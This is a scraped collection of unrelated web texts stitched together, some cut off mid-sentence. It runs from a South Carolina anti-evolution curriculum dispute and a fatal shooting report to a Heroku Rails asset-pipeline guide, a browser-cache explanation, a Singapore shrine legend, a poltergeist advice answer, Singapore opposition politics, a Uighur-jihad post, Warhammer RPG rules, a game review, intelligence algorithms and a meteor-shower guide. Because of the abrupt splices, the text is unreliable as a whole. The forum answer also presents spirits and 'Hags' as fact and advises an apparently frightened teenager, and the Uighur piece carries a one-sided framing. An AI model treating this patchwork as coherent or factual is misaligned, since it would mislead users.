When asked whether he was more concerned about the scientific validity of the science curriculum or the worldview that could go along with it, Fair gave the following response:
"I'm more concerned about young people embracing the idea that they're here for a purpose, and the two choices they have to make on the beginning are that they're products of randomness and chaos, or they're products of design."
Federal courts have ruled that both creationism and intelligent design are not scientific theories and should not be taught in public schools (Edwards v. Aguillard, 1987; Kitzmiller v. Dover, 2005). So, with creationism and intelligent design out of the toolbox, some conservative lawmakers have turned to a third tack: "Teach the Controversy." Prof. Dillon says Sen. Fair's public stance this week — "his latest shenanigans," as he puts it — is taken straight from the Teach the Controversy playbook. The idea, Dillon says, is to suggest that the theory of evolution is somehow controversial among scientists, or that it "needs further study," without explicitly offering an alternative theory.
"It is the hardest thing to fight, and that is what Mike Fair has been doing since 2005," Dillon says. "He closely coordinates with the Discovery Institute, and they try various ploys throughout the United States. We're a proving ground, in a sense."
Screenshot
Sen. Fair has taken to Twitter (@SenatorMikeFair) to defend his stance.
Blood on the proving ground
Sen. Fair has fought his share of losing battles on the evolution hill. In 2010, he introduced two Senate bills (S. 873 and S. 875) against the teaching of natural selection, neither of which made its way out of committee.
But sometimes, Sen. Fair wins. Notably, during the last round of standards updates in 2005, he fought to have the phrase "critically analyze" added to a section on evolution. As a result, the current standards include the phrase "critically analyze" in only one sentence: "Summarize ways that scientists use data from a variety of sources to investigate and critically analyze aspects of evolutionary theory."
Then-Education Superintendent Inez Tenenbaum says she fought Fair tooth and nail when he sought to add in "critically analyze," a tactic that she says was then being employed by state-level anti-evolution advocates across the country. Fair wanted the |
opposition CHP.Advertisement Man hit, killed by stray bullet as he slept Share Shares Copy Link Copy
A man who moved to the U.S. in hopes of a better life died Tuesday morning after being shot in the head while he slept, officials said.The coroner said several shots were fired into a home in the 1000 block of Cecil Avenue, but Zemenfes Tekle, 33, died of a single gunshot wound to the head.Friends said Tekle moved to the U.S. from Ethiopia. The coroner said he’d been in the country about 18 months."His American Dream gets short in one year and a half. So it's very devastating,” Tekle’s boss Alem Nuguse said."He was always laughing, you know, very nice, pleasure. Greeting people,” Nuguse, said.Tekle worked at the liquor store behind the home and would send money back to his family.Friends said Tekle’s mother, father, wife and 8-month-old son are still in Ethiopia.His dream was to eventually open his own business here.Tekle never met his son."He used to have pictures all the time of him. He used to talk about him. His goal now was ultimately, if it's possible, go see him next year. And that dream never comes,” Nuguse said."Senseless killing. Shooting at people who don't do anything, you know. It's really very, very bad,” Nuguse said.Nuguse called 911.He had come to the house to check on Tekle after someone called saying he couldn't get in touch with him.He saw the bullet holes and knew something was wrong."It was the most difficult time in my life. I don't believe this is happening,” Nuguse said.Friends said Tekle didn't have any enemies and said they have no idea why someone would take his life."All the customers like him, all the people around here like him. The employees like him. I like him. He was employee of the year,” Nuguse said.Funeral arrangements are pending as Tekle’s employer hopes to send his body back to Ethopia, according to the coroner.Police do not believe Tekle was an intended target.No arrests have been made in the case.Anyone with information is asked to call police at 502-574-LMPD.38970520Language Support
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Rails 4+ Asset Pipeline on Heroku
The asset pipeline was introduced into Rails in version 3.1. This article contains information needed to run the asset pipeline in Rails version 4 and above on Heroku. This guide is not comprehensive, please see the Rails Asset Pipeline on Heroku Cedar for help with debugging and troubleshooting. This article adds additional information that is specific to the behavior in Rails 4.
Serve assets
By default Rails 4 will not serve your assets. To enable this functionality you need to go into config/application.rb and add this line:
config.serve_static_assets = true
Alternatively you can achieve the same result by including the rails_12factor gem in your Gemfile:
gem 'rails_12factor', group: :production
This gem will configure your application to serve static assets so that you do not need to do this manually in a config file.
Only generate digest assets
In Rails 3, the version of sprockets used in the asset pipeline would produce a “digest” or a “fingerprint” for an asset and then attach it to it’s file name. For example this file:
app/assets/stylesheets/application.css.erb
When precompiled would become:
public/assets/application-c655834251f73d7714351aa287be8556.css
Where “c655834251f73d7714351aa287be8556” is the “digest” or “fingerprint” generated by MD5. In addition to “digest” file names Rails 3 asset pipeline would produce a non-digest version public/assets/application.css. This was useful for things like sending out emails where the recipient may or may not download the asset in a timely manner.
In Rails 4 sprockets will only produce digest filenames. This means that you must use an ERB helper such as this to reference your assets:
<%= asset_path('logo.png') %>
Make sure to add a.erb extension to any files in app/assets that use an ERB helper. So application.css would need to be application.css.erb.
To get around the “email problem”, sprockets will now keep up to 3 copies of the same modified asset at a time. This also helps with rolling deploys so requests for older assets are still available. Even with this behavior it is recommend you use a CDN to serve your assets.
Caching
Heroku now caches 50mb worth of tmp/cache/assets which is a cache directory for the asset pipeline to store intermediate files. This means that future asset compilations will be faster due to not having to recalculate these files.
This is a difference in Heroku and not in the Rails framework. Rails 3 assets are generated on every deploy as there are several bugs that prevent caching from being used effectively.
The directory tmp/cache/assets/sprockets/ will be removed from runtime to reduce your slug size (which gives you a faster boot times). This directory will only be removed if your application does not need these files i.e. dynamic asset compilation is disabled:
config.assets.compile = false
If you see a large directory size that appears to exceed 50 megabytes while inspecting your dyno in a heroku run bash session, it may be due to sparse files. This is because a file that is smaller than the operating system’s block size will have a larger apparent size on disk. You can get the correct size that is stored in the cache between deploys by running the du command with the --apparent-size flag. For example:
$ heroku run bash ~ $ du -hd 1 tmp/cache/assets/ 386M tmp/cache/assets/sprockets ~ $ du -hd 1 tmp/cache/assets/ --apparent-size 27M tmp/cache/assets/sprockets
In this case the first call to du showed 386mb worth of assets, however the correct size for the files that would be zipped and stored in the cache is only 27mb.
Multiple versions
By default the Rails asset pipeline keeps the last 3 generated versions of an asset. This is to support assets being used in locations such as emails that might not be rendered until days or weeks later.
If you delete an asset, the last 3 versions of that asset will remain available. Sprockets does not track deleted assets and so it cannot know when an asset has been deleted. If you wish to remove an asset you have deleted, you can clear the cache which is how we persist the generated assets in public/assets between builds. Note that clearing the cache will remove all older versions of assets and not just the ones that have been deleted.
Debug output
When rake assets:precompile is run in production Rails 4 will now shows debug output while generating tmp files, this does not mean your files end up in /tmp. The files will be copied to their correct locations after they are generated.
Known issues
There are two known issues with Rails 4 (sprockets) that can be difficult to detect or debug. To help with this we recommend using the sprockets better errors gem gem in production. These checks have been merged into Rails 4.1+ but the gem is still needed for 4.0.x versions.
You may get errors if you use sprockets_better_errors with Rails 4.1+.
Dependencies improperly used
You can see a failure in sprockets When you change an asset file that is referenced in another file and the reference does not change. This is due to missing sprockets dependency declarations.
For example you can have a CSS file app/assets/stylesheets/application.css.erb that references another file:
.logo { background-image:url('<%= asset_path("logo.png") %> '); }
Here application.css.erb relies on app/assets/images/logo.png. When precompile is run both assets will be generated. What happens if the logo.png is resized to be larger per a client request? The next time precompile runs, sprockets will see that logo.png has changed since it’s MD5 fingerprint is now different so it will be compiled. Our application.css.erb however has not changed, so it will not be compiled again. This means our stylesheet now points to the wrong copy of our image. To fix this add an asset declaration to the top of your application.css.erb file:
//= depend_on_asset "logo.png".logo { background-image:url('<%= asset_path("logo.png") %> '); }
Now when your logo.png changes, your application.css.erb will be required to compile again.
Missing Asset in precompile list
Another common production failure in sprockets is caused by assets not being declared as needing to be precompiled. By default all “application” assets and images are precompiled. This includes application.css and application.js. It is assumed that any CSS or JS in your project will be rolled into these files and so any extra JS or CSS in your project will not be precompiled. The gem sprockets_better_errors will check for missing assets in your precompile list in development.
Debugging
Before you can compile your assets on Heroku, you’ll need to be able to compile them locally, run this command to debug your assets:
$ RAILS_ENV=production bundle exec rake assets:precompile
This should complete with no errors. Do NOT check in the assets into git after running this command.
If you are getting an error at page load, but not while building assets you can use heroku run bash to debug it
$ heroku run bash $ ls public/assets
You should see a manifest- <digest>.json or.sprockets-manifest-<digest> where <digest> is a long alphanumeric string as well as all of your asset files.
You can also see the exact file name that Rails believes it should serve by running $ heroku run rails console. In the console you can use the helper object and asset_path to determine the full path.
$ heroku run rails console > puts helper.asset_path("application.js") /assets/application-6aae32862efc758cf08c7b7fc0e85e15.js
Hanging asset builds
If your asset compilation appears to hang, try removing the assets from your vendor/assets directory and putting them in your app/assets directory.
Additional troubleshooting
Please see a comprehensive list in the Asset Pipeline troubleshooting section.The First Secretary of State, Damian Green, this morning stands accused of having “thousands” of pornographic images stored on his House of Commons computer. Anyone reading that headline might well jump to the conclusion that Mr Green has something of an addiction – and that might well be the case. On the other hand, it’s perfectly plausible that Mr Green hasn’t done much or anything ‘wrong’ at all.
The accusations come from a former police officer, who was tasked with searching Mr Green’s computer as part of a separate investigation in 2008. He claims that the computer contained “thousands” of thumbnail images of (legal) pornography, according to the BBC.
The key word here is “thumbnail”, and it’s important to understand how and why your computer stores such images.
We browsers store a “cache” of images and other information from websites, so that they don’t have to constantly reload the same information every time that you visit a site. If you go to the BBC News homepage, for example, and then go back a couple of hours later, it’s perfectly plausible that the thumbnail image of Prince Harry (or whoever’s in the news that day) will have been stored on your computer on the first visit, saving the time and internet bandwidth of reloading the same image on your second visit.
You can get a feel for how much information is cached by your web browser by opening the folder where these temporary internet files are stored. On a Windows PC that uses the Google Chrome browser, for example, you can cut and paste the following into the Windows Explorer address bar to be taken straight to Chrome’s stash of stored internet files:
C:\Users\%username%\AppData\ Local\Google\Chrome\User Data\Default\Cache
When you open the folder you’ll see something like this:
As you can see, there are lots of little bits of information being stored every minute. Some of those files will be thumbnail images saved from the pages of websites you’ve visited. My internet history from that day in November contains loads of images that I have no recollection of seeing at the time, because the browser is hoovering up all kinds of images and other data that are stored on the page, even stuff you’ve not directly viewed.
So how long would it take to amass thousands of pornographic thumbnail images in your internet history? Not very long at all. I’m not going to show you a porn site homepage as this is a family show, but (I’m, ahem, told) these sites are full of thumbnail images tempting you to click on the many videos they offer. One visit to such a site could conceivably lead to dozens, if not hundreds, of thumbnail images being stored on your computer.
Now, I’m not saying this completely exonerates Mr Green. The officer interviewed by the BBC claims he’s a computer forensics expert, and he says that Mr Green’s internet history shows that he was viewing such sites in between answering emails and reading documents.
However, the headline claim that Green had “thousands” of such images stored on his computer, is by no means firm evidence in itself that Mr Green spent “hours” surfing pornographic sites.
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PinterestThere are as many as eleven shrines and nine temples on the island of Pulau Ubin, but none catches the imagination as much as the German Girl Shrine, which is located near Ketam Quarry at the western side of island.
The Mystery
How did the shrine come about? And how did a German girl become a deity on the island? The story began in the 1910s, just before the First World War (1914-1918) broke out.
There was a German family living on Pulau Ubin at the turn of the 20th century, owning a coffee plantation on the northeastern island of Singapore. According to research, the plot of land used to belong to two German families, Daniel Brandt and Hermann Muhlingan, but the identity of the German girl remains unknown.
On 4th August 1914, the United Kingdom declared war on the German Empire, and the colonial government in Singapore started seizing German ships, businesses and properties.
On Pulau Ubin, the British military rounded up the German plantation owner and his family. His frightened daughter, around 18 years of age (said to be born in 1896), escaped into the woods. The rest of her family was sent to a detention barrack on mainland Singapore.
A few days later, the girl’s body was found covered with ants by the Malay plantation workers. It was assumed she had lost her way and fell to her death from a cliff.
The Legend
After the war, the Germany family returned to Pulau Ubin, looking for the remains of their precious daughter, but could not locate her tombstone. Bitterly, they left Singapore and never returned. The exhumed remains of the dead German girl, however, were said to have kept in a Chinese Taoist temple on a hill together with an iron cross and some coins.
In 1974, a granite quarry company took over the hill for development. A new temple was erected to house the porcelain urn that contained the remains. Soon, the temple became popular with worshippers who prayed for good luck in gambling. The hardcore gamblers attributed their winning streaks to the spirit of the German girl, now regarded as a deity. Offerings of fruits, flowers, cosmetics and perfumes filled up the altar.
The Temple
The German deity was also known as Lady Datuk by the local Chinese. A few years back, a former Ubin resident who had migrated to Australia dreamed of the deity for three consecutive days. To pay his respect, he bought a Barbie doll and sent it to Pulau Ubin. The doll had since become the symbolic idol of the shrine.
There are rumours that the porcelain urn is now empty, and the remains of the German girl were lost decades ago. Her identity and family remain untraceable today. But on an optimistic point of view, it might be a blessing for the spirit of the German girl, who has become part of Pulau Ubin’s history and is still remembered by the islanders after almost a century.
Published: 13 October 2012Best Answer: you are likely a target because of poltergeists becaus of ur adolescence, they usually pick on teens and menopausal women. Ur 'weakened' by the activity goin on in ur body. The means ones always pick on the weak. I dont suggest going to such extreemes like blessing the house until you try a couple of other things. First off dont be afraid. It is a whole lot less often that someone is being attacked by demons than by actual human spirits who are angry. And being afraid and weakened opens up ur ability to share your enery which they usually need in order to manifest thier tricks. The angry ones have an easier time coming thru which is why they are usually the ones we hear stories about. They have more of thier own energy. The experience with the choking is generally associated with Hags in which case I dont have a lot of experience. But I know they are relentless. As for the spirits moving things around. (sounds like you have several different spririts around you not just one and they may not all be bad annoying yes bad prob not) Ask them to leave first. Tell them there is a time to play and to not, and right now you need some space. They cannot read ur mind. They can feel ur nervous or fearful energy but that doesnt mean they know ur thoughts. Until you learn to develop sending out ur energy, which you are obviously a natural at :) or they wouldnt be bothering you. You see, people who dont believe, dont usually get bothered because its not worth a spritits time to go to such lengths and get no reaction. Its not easy for them to manifest, it takes a lot of energy. So, if asking them to back off, dont tell them to leave, they are people too, or at least once they were, and they dont like to feel unappreciated, remember they are putting in the time and energy to show themselves to you. I get the feeling that the 'poltergeisty' ones are actually trying to help you. You are lucky you dont have worse experiences by the Hag. That must be why. Let them play thier games with the lights. There is nothing to be afraid of. Its takes a lot of energy to touch you, most of them dont bother trying. *sigh* each experience needs different and unique actions and these things can be so complicated. Friend me or whatever we do here and we can talk it out. Above all there is no need to be afraid of the noises and lights. They are just telling you they are there. 3am is the 'dead hour' which just means its midnight halfway between 12am and 6 am and things are more likely to happen then. The spirits want you out of the room, not to harm you but to protect you, Hags usually attack in the sleep. You are doing well, to have endured this for so long and not to have had worse botherings. Shaking beds are typical of Hags. Count urself lucky. and Lastly now that I have thought this out, I wouldnt ask them to stop just yet, they may be the only thing holding the Hag back right now ignoring them will also send them away, but dont just yet. Ask another question about Hags, see who knows more about them than me. I have more experience with spirits. And get back with me, I will do some research. The Ouija board isnt a portal, they are attracted to you, all that game did was be a microphone letting the spirits around you know that you know they are there which makes you more fun to be around. There is a lot you need to learn. You can make this all stop eventually, but you need to make the right decisions which will change daily based on how everything reacts to you. You can do this. You are ok. We are out here to help you. Oh, and some of the trickster in my house are playing around with these words. So please ask me questions if you have them. keep electronics on around you, they say they have an easier time manifesting with the extra energy around. and mine like a clean house, they say the vibe is better which makes it easier to move around in. :) good luck if I dont hear from you!
Source(s): personal experience
Nancy Jayne · 9 years ago
0 Thumbs up 0 Thumbs down Report AbuseHas the Singapore Democratic Party (SDP) become less combative? If so, why and so what?
The latest sign of a change came this month, when the party's new chairman Paul Tambyah told The Straits Times that the SDP would no longer engage in acts of civil disobedience.
It was the party's first public statement to that effect.
Civil disobedience - breaking the law intentionally while advocating change - was a tactic used by secretary-general Chee Soon Juan. He received no fewer than five convictions from 1998 to 2008, such as for holding rallies or protests without a permit.
The SDP has not practised civil disobedience since 2008. But it has never said it was forgoing it - until now. The party was known for other tactics too - such as heckling or making a show of handing letters to foreign diplomats. Such acts appear to also have been discarded.
An explanation for the SDP's evolution was offered by Professor Tambyah, a professor in medicine at the National University of Singapore (NUS). In the pre-Internet era, it was hard for opposition parties to be heard, he said. But there is no need for civil disobedience now because "many of our online posts go viral and reach a far wider audience". In short, confrontation had been a way to broadcast ideas - and there are other ways to do that now.
But there is another explanation for the SDP's change: The earlier approach simply did not work - voters disliked it.
In 1991, the SDP was the leading opposition party, with three elected MPs. After that election, then party chief Chiam See Tong left after a fallout with Dr Chee and other leaders over Dr Chee's hunger strike to protest against his dismissal as a lecturer by NUS for his improper use of research funds.
(From right) Dr Chee Soon Juan, Professor Paul Tambyah and Ms Chong Wai Fung of the Singapore Democratic Party campaigning at Adam Road Food Centre during the 2015 General Election. Prof Tambyah, the party's new chairman, said this month that the party would no longer engage in acts of civil disobedience. It was the party's first public statement to that effect. ST FILE PHOTO
Mr Chiam's departure spelt the end of an SDP era marked by his moderate style. He continued to hold his Potong Pasir seat until 2011, contesting under other party banners.
In contrast, the SDP failed to hold on to the two other seats won in 1991, losing them at the 1997 election - and has not won a seat since.
The 2015 IPS survey showed that the biggest improvement in perceptions about the SDP came from young voters aged 21 to 39. This suggests that those who never had first-hand knowledge of the party's past may have formed more positive impressions after looking at its website, social media posts and performance at rallies. This group could grow over time.
Dr Chee, who has a doctorate in psychology from the University of Georgia, took over the party reins in 1993, and employed a much more dramatic style. The SDP's vote share in constituencies it contested fell, vis-a-vis the rest of the opposition: from minus 1.9 percentage points relative to the opposition nationwide in 1997, to minus 10.2 points in 2006.
Some time after 2008, the party turned to less adversarial methods without explaining the shift.
Its relative vote share began to climb: to minus 3.1 points in 2011, and on to positive territory in 2015, at plus 1.1 points. It performed better than most other opposition parties in 2015, though not well enough to make it into Parliament, unlike the Workers' Party (WP).
Post-election surveys by the Institute of Policy Studies (IPS) tell a similar story. Singaporeans who agreed that the SDP was a credible party went up from 19 per cent in 2006, to 24 per cent in 2011, to 46 per cent in 2015 - the steepest rise for any party.
Last year, the SDP fought the Bukit Batok by-election. Dr Chee lost, securing 39 per cent of the votes. Some political watchers say this casts doubt on the SDP's electability under Dr Chee's leadership. Just before he took over in 1993, the SDP's polling average was 48.6 per cent. After 23 years, its electoral performance had declined to 39 per cent.
Others interpret the result differently, noting that the vote share Dr Chee received in Bukit Batok was the highest of his political career, and that this fits the narrative of a changed and rehabilitated SDP.
The 2015 IPS survey showed that the biggest improvement in perceptions about the SDP came from young voters aged 21 to 39. This suggests that those who never had first-hand knowledge of the party's past may have formed more positive impressions after looking at its website, social media posts and performance at rallies. This group could grow over time.
What is less clear is if older voters who remember Dr Chee's earlier, more dramatic approach, and recall the strongly worded criticisms of his character by People's Action Party (PAP) leaders, have revised their view of the party.
What, then, is the significance of the SDP's apparent remake?
The upturn must not be over-interpreted. The SDP was coming back up from a low base. But if the trend continues, there may be significant implications.
First, a continued SDP rise may alter a long-held view among its critics that as long as Dr Chee remains leader, the party will be unelectable; and that only jettisoning him for someone less antagonistic can turn the party's fortunes around.
Some of Dr Chee's opponents also point out that he has chosen not to apologise for his past actions - including his use of factually wrong data at a 1996 parliamentary select committee hearing on healthcare costs. This lack of contrition reflects negatively on his character, his opponents say.
During the Bukit Batok by-election campaign last year, Prime Minister Lee Hsien Loong, for one, said: "Here is somebody that's (up for election) who is able to just gloss over bad things which have been done, and which he has not come to terms with or acknowledged. And he's now presenting himself as a new man - reinvented - and yet, unchanged, and unregretful and unrepentant."
This remains an important point for some voters, who will continue to be sceptical of him and the SDP. But it will also not be lost on observers that Dr Chee's approach of seemingly changing course without saying sorry has brought about a partial but notable recovery in the party's results.
The second implication is that it may be possible one day to imagine the SDP regaining its status as the leading opposition party - a status it enjoyed from 1991 to 1997.
The SDP is now the second-best performing opposition party after the WP. The SDP's recovery furthermore coincides with a difficult time for the WP. The latter is currently embroiled in lawsuits over town council management which could, depending on the outcome, impact the status of several of its MPs. Political watchers also note that the party retained Aljunied GRC in the 2015 election by a mere 2,626 votes, and lost Punggol East.
But should it matter which opposition party is No. 1, and which is No. 2 - given that the SDP and the WP avoid facing each other in three-cornered races?
It matters, because of the situation here, where voters want the PAP in power, and also want enough opposition MPs to balance the PAP. This poses a dilemma for voters who are so minded.
If too many vote for the opposition, there is a remote chance that the PAP may not form the government. If few do, then the checks they seek will not materialise.
As the foremost opposition party, the WP currently enjoys an advantage: There is a perception that voters who have a WP candidate standing in their constituency may tilt towards the opposition, while voters elsewhere will lean more to the PAP, so the overall outcome brings in a PAP government but with some level of checks. It is a "division of labour" of sorts.
If the SDP can claim pole position among the opposition, it could inherit this premium.
But the SDP would be a substantively different opposition from the WP. It has outlined a more comprehensive set of alternative policies and aims to confront the PAP at every turn. It also has ambitions to form a government.
The WP, by contrast, agrees with the PAP not infrequently; is less interested in policy proposals - it says it lacks resources to develop them; and stresses that it is not ready to take over the reins of government.
The WP's stance has drawn criticism, including from opposition supporters who describe the party as being "PAP-lite". Should the SDP make it into Parliament, it is likely to act very differently.
Whether the gap between the SDP and the WP narrows further will be clearer at the next general election. Meanwhile, voters have a few years to consider if the SDP has evolved into the kind of opposition party they favour for the long term.A global war that only one side is fighting and that only one side even acknowledges is being waged.
“Hundreds, maybe thousands, of Chinese Uighurs fighting in Syria, warns Beijing expert,” by Ananth Krishnan, India Today, January 14, 2016:
There are “many hundreds or thousands” of Chinese Uighurs from the country’s western Xinjiang province involved with the Islamic State (IS) or other groups to wage jihad in Syria, according to a leading Chinese strategic expert who advises the government on its West Asia policy.
The Chinese jihadists, involved “not only with the IS but with other Syrian forces”, posed “a major threat” to China if they returned home, warned Li Shaoxian, a long-term West Asia expert and the Vice President of the China Institutes of Contemporary International Relations, a Beijing think-tank with ties to the Ministry of State Security.
“Whether there are Chinese citizens involved in IS, the answer is certainly yes,” he said in an interaction with journalists on Thursday.
“I don’t have the specific number but I think there are possibly many hundreds, or thousands, of them. As a researcher I have been following the situation closely. I believe there are quite many Chinese citizens fighting in Syria, not just with the IS but also other forces in Syria, where there are all kinds of groups who have people fighting who are from China.”
China has recently stepped up its diplomatic engagement with Syria, in recent weeks hosting both the Foreign Minister and top officials of the Syrian National Council representing opposition groups.
Li, who met with representatives from both the Syrian government and the council during their recent Beijing visits, said China was in a “unique” position to play a role in bringing about a political settlement. Referring to the divergent interests of both the United States and Russia, he said China was “the only major country without selfish interests involved” as Beijing “has no specific agenda.”
Li did not say if the issue of Chinese Uighurs – an ethnic Turkic Muslim minority in China’s western Xinjiang region – in Syria figured prominently during the recent talks, but described the matter as a serious concern for Beijing.
“I believe this will be a major source or threat because if these people come back to the country of origin they could constitute a considerable threat to the security of the country of origin.”
China says that Uighurs have been travelling to Turkey through Southeast Asia, and Beijing has accused Turkish missions in Southeast Asia of facilitating travel by issuing documents. In July, more than 100 Uighurs were repatriated from Thailand.
The move was criticised by rights groups who say the Uighurs were no terrorists but merely refugees fleeing persecution in China. While Beijing labelled them all as separatists who wanted to join jihad, rights groups have pointed out there were women and children among the group, which was detained on return to China.
Uighur exile groups say the majority of hundreds of travellers who are leaving China for Southeast Asia are doing so to escape what they describe as religious persecution from the authorities.
Li, however, pointed to a group of Uighurs who carried out a mass knife attack on a railway station in Kunming in south China in March 2014, stabbing 29 people to death. Chinese authorities said the 8 knife-wielding and apparently trained attackers had tried – and failed – to travel to Southeast Asia and then to West Asia join jihad, before carrying out the attack.
“If you remember the terror attack in Kunming train station, it is very clear these people wanted to travel to another destination via Southeast Asia,” he said. “According to material I have seen, I know that some IS elements are responsible in Southeast Asia to organise these people and bring them to Syria.”…A few weeks ago I posted on making the Read/Write skill interestingly useful, but that just raises the question of language skills in general. Tim Eccles’s article on this topic in Warpstone #19 is excellent on the historical and linguistic implications of what we knew about (then-)canon, but this post, like the last one, is going to concentrate more on the in-game practicalities of the skills. Because, like with Read/Write, the exclusivity of the language skills may work in favour of flavour, so to speak, but against the kind of communication a game needs to flow:
This is an example of language problems used wonderfully, but unfortunately few of us are Simon Pegg or Edgar Wright!
The first assumption I would make is that the common ‘Old Worlder’ tongue is still the basis for all the other Human ones, as it was in 1e. That means that anyone with any of the Human languages of the Old World can communicate with each other if they want. It is, in effect, a trade language. Each variety of Old Worlder, though, whether Reikspiel, Tilean or Breton, is its own dialect and is not intelligible to outsiders unless the speaker makes an effort. Thus without the local dialect, no PC will be able to overhear or eavesdrop on a conversation between locals.
Then the questions arise as to when you should roll language skills at all, and whether different levels of skill mean different things.
In my scenario A Bitter Harvest, I asked for language rolls to make out what people were saying from a distance. In my experience, it’s a matter of linguistic skill to be able to piece together meaning when you only catch bits of a conversation. Certainly this is true for learned languages, if not the listener’s native one.
They should also be made for composition: the better your language skills, the better your ability to express yourself clearly, subtly and beautifully. This would especially be the case for your native language; a high skill in that indicates an extraordinary vocabulary and mastery of style. The character can compose poems, speeches and plays to a high order, although performing them requires other skills.
Similarly, language skills might reflect an ability to hide your accent. Someone with only one level in a skill will have strong accent, either regional in the case of their native language or foreign in the case of a foreign one. A second level would indicate a mastery of the standard, learned form of the language. You would still have an accent, but it might take a roll on the part of the listener to pinpoint exactly where it was from. Finally, the last level would indicate complete fluency in the case of foreign languages. In fact, maybe the PC could have the option of ‘converting’ it into a second native language and continuing to advance it as such.
So-called ‘secret’ languages are entirely different, since they generally represent professional jargon. In that case, I would rule that different levels of skill represent increasingly ‘true’ language-like abilities. Thus, the first level would indicate a capacity for communication in simple statements, questions and commands and an understanding of jargon when it occurs in ordinary speech. The second level renders a character capable of nuance, such as the expression of conditionals, doubt, insistence and probabilities. Finally, the last level of expertise confers full conversational ability, including wit and puns.
Lastly, in each case a successful roll should allow the character to operate at one level above their normal skill, such as to hide their accent.You may not be familiar with Lichdom: Battlemage, but after reading this, you may not be able to forget it either. Lichdom is a console port of a two-year-old PC game that also happens to be one of the worst performing console games we've ever tested. We've run through the likes of Broforce, The Last Tinker, Assassin's Creed Unity and even Shadow of Mordor on PlayStation 3 - but nothing quite matches what we're witnessing here.
There's no beating around the bush here - Lichdom is a game that rarely manages to deliver a frame-rate north of twenty frames per second. In fact, the PlayStation 4 clocks up an average frame-rate of just 15fps across the run of play, with dips as low as 10fps. On top of that, frame-time latencies can be astonishingly high with some remarkable stutter. We've run the rule over a multitude of titles since we started frame-rate testing console games back in 2008 - and we're pretty sure we've never seen anything quite as bad as this.
To make matters worse, if you're unlucky enough to play the game on Xbox One, you'll be treated to the same incredibly low frame-rate - and v-sync is disengaged too. The end result is a game with constant tearing - and it's a level of performance so poor that we actually found it difficult to look at the screen for more than a few minutes at a time. In comparison, while still very sluggish, v-sync is active on the PS4 version.
Lichdom on console has to be seen to be believed |
a world where human chores of all manners would cease being the labour of men and become strictly the work of machines. Power and income, then, would be concentrated among the few who controlled the machines. Snowden and the teams of analysts at the NSA, CIA and GCHQ who sit in front of our stores of electronic intelligence will hardly be necessary in 15 years. Algorithms will have replaced them, leaving only a few humans, like General Keith Alexander of the NSA, left to watch the house.
Underneath those top humans will be machine-learning algorithms that dance across the data of humanity like a spider tending a web. They won't be programmed simply to search for call patterns or numbers; they will learn what patterns and numbers are significant by ingesting news, conflicts and terrorist threats in real time, comparing that to activity seen on computer and phone networks. Algorithms that trade stocks at the speed of light already read specially tailored news feeds from Bloomberg and Reuters; the intelligence world, although less lucrative than that of Wall Street and the City of London, will not be far behind.
Algorithms are more efficient than people; they can find relationships within data streams that a human eye couldn't spot in 20 years; they're indefatigable – and they're cheap. Also on the positive side, algorithms aren't much for drama, counter-espionage or leaking. They do their jobs and don't ask questions. But they can make mistakes that border on inexplicable. Just as an algorithm belonging to Knight Capital in 2012 went berserk and lost that firm $440m (£288m) in 45 minutes, an NSA algorithm could finger thousands of innocent people to be targeted for extra surveillance, or worse.
But these things can and do work in what would seem to be incongruous arenas. The CIA has been using algorithms that run on a thread of mathematics called game theory for more than two decades. The man behind these strings of reason and mathematics, Bruce Bueno de Mesquita, a political science professor at New York University, says that analyses driven strictly by human observation are flawed by their very nature. Human analysts, he points out, have appetites for meaningless information such as personal gossip, backstories and tales of failure and conquest. Algorithms couldn't care less about these things, of course – a fact that helps them do their job better than humans. A CIA study found that Bueno de Mesquita's algorithms were right twice as often as its own analysts in making predictions about future intelligence events. The study spanned more than 1,700 predictions made by the algorithms – a task the bots dutifully performed without billing even one hour of overtime.Star trails during the Eta Aquarid meteor shower. A meteor streak is visible in the bottom left of the image.
Australian skywatchers will this month get an excellent view of the Eta Aquarid meteor shower, the Southern Cross shines, and Mars is at its brightest.
If you get up early in the morning from May 6-8 you will see one of the most reliable meteor showers in the southern hemisphere.
The Eta Aquarid meteor shower, which is due to the debris from Halley's comet, will peak at 6:00am AEST on May 6.
However, the best rates will be seen on the mornings of May 7 and 8, from 4:00am to 5:00am local time Australia-wide, where people with dark skies should see a meteor around every three minutes.
Share May sky looking north-east at 5:00am on May 6 showing position of Eta Aquarid meteor shower (indicated by yellow starburst)
The show promises to be excellent this year as the Moon will be new on May 7 so there will be no moonlight.
The meteor shower radiant — the apparent point in the sky where the meteors originate from — is in Aquarius, near the star Eta Aquarii (hence the name Eta Aquarids). This is a dim undistinguished star in a dim constellation, and a poor guide to finding the meteors.
The best way to watch the Eta Aquarids is to let your eye rove around the entire patch of the sky above the north-east horizon, between the only two obvious bright stars in the north-east, Altair and Fomalhaut.
Tips for meteor watching Tips for meteor watching Give your eyes at least five minutes to adjust to the dark (especially if you have just come from watching a computer screen)
Be patient, although you should see an average of a meteor every three or more minutes, a whole stretch of time can go by without a meteor, then several can turn up one after the other
Have something comfortable to sit on, and rug up warmly
Don't look directly at the radiant site, because the meteors will often start their "burn" some distance from it, but look up or to the side
Don't stare fixedly; let your eye wander over the area
Constellation of the month: the Southern Cross
The Southern Cross is an iconic constellation in Australia.
Indigenous Australians recognised the Southern Cross but saw it in many different ways.
The peoples of Arnhem Land saw the Southern Cross as a stingray, those of Stradbroke Island saw a man called Mirrabooka. The Boorong people of western Victoria saw Bunya, the possum, while the Karuna people of the Adelaide Plains saw Wilto, the Eagle.
Although the Southern Cross never sets (except briefly in the far north) during spring and summer, it is close to the horizon, where it is obscured by buildings, street lights and the other accoutrements of modern living.
But in autumn, the iconic constellation is well above the horizon, making it easier to find.
Share Sky looking south at 10:00pm on May 15 showing the Southern Cross and the pointers
If you look south in the evening, around 10:00pm local time, the Southern Cross is straight up from the horizon in the "12 o'clock position".
The brightest star Acrux or Alpha Crucis, is at the bottom, travelling clockwise around the Cross, the next star is the next brightest, blue-white Mimosa or Beta Crucis.
Next is reddish Gacrux or Gamma Crucis. Then comes the fainter Delta Crucis and finally faint Epsilon Crucis, which may be hard to see under suburban-light-polluted skies.
To the east of the Cross are two obvious bright stars — the pointers — one an orangey colour and the other blue white.
The orangey star is Rigel Kent, Alpha Centauri. This is a triple star system which at almost four-and-a-half light-years away is the closest star system to our solar system.
The blue white star is Hadar, Beta Centauri. Although Hadar is close in the sky to Rigel Kent, it is almost 60 times further from us than Rigel Kent is.
If you have a pair of binoculars, point them at Acrux. This is a triple star, binoculars can't separate out the two bright blue white companions, but the dimmer Alpha Crucis C can be easily seen in binoculars to the south of bright star.
